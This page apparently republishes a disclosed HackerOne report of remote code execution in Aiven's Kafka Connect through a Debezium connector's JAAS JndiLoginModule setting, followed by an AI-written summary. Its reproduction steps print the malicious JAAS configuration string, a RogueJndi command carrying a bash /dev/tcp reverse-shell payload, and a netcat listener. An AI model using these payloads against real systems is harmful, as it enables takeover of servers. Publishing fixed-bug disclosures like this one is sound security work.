Skip to content
RCE Disclosed report Advanced

Kafka Connect RCE via connector SASL JAAS JndiLoginModule configuration

The Kafka Connect REST API allowed setting a connector property that pointed to an attacker-controlled LDAP server, which the server then contacted and deserialised the response, enabling remote code execution. An attacker could execute commands on the Kafka Connect server and access other network resources.

jarij Follow

Originally disclosed on HackerOne

Bounty$5,000 Critical View original
  • Triaged in 36 days
  • Fixed in 50 days
  • Paid in 50 days
  • Disclosed after 7 months

Summary:

When configuring the connector via the Aiven API or the Kafka Connect REST API, the attacker can set the database.history.producer.sasl.jaas.config connector property for the io.debezium.connector.mysql.MySqlConnector connector. This is likely true for other debezium connectors too. By setting the connector value to "com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";", the server will connect to the attacker's LDAP server and it deserializes the LDAP response, which the attacker can use to execute java deserialization gadget chains on the kafka connect server.

Steps To Reproduce:

██████

  1. Login into my VPS: ssh ███████, password: █████
  2. Execute java -jar RogueJndi-1.1.jar --hostname ███ -c "bash -c bash\${IFS}-i\${IFS}>&/dev/tcp/███/4445<&1"
  3. Execute nc -nlvp 4445 on another tab
  4. Execute python3 poc.py on another table. This poc script launches the exploit against my Aiven kafka connect instance.
  5. Reverse shell connection should now be established

The gadget chain

The exploit uses System.setProperty gadget chain in the scala standard library to enable unsafe deserialization of apache commons collections transformers (finding this gadget chain took way too much time...). This payload has been designed for the Scala version 2.13.6. It may fail on other scala versions. Then the script executes the reverse shell setup command using the CommonsCollections7 payload.

Impact

Attacker can execute commands on the server and access other resources on the network.

The original report as published on HackerOne, by jarij. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the connector configuration allowed setting a JAAS login module that performs a JNDI lookup to an attacker-controlled LDAP server, and the response was deserialised without validation.

Impact

An attacker could execute commands on the Kafka Connect server and access other resources on the network.

What the attacker needed

Access to Kafka Connect REST API or Aiven API; ability to create or modify a connector

How it was found

  1. Log in to the attacker's VPS.
  2. Start a rogue LDAP server that serves a malicious response and a reverse shell command.
  3. Start a netcat listener for the reverse shell.
  4. Run a proof-of-concept script that sends the malicious connector configuration to the Aiven Kafka Connect instance.
  5. Observe the reverse shell connection.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Kafka Connect is a tool for moving data between systems. The report shows that a configuration setting could be abused to make the server fetch data from an attacker's server and then run hidden code inside that data, giving the attacker control of the machine.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by jarij

View all

4 more disclosed reports, best first.

More from Aiven Ltd

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.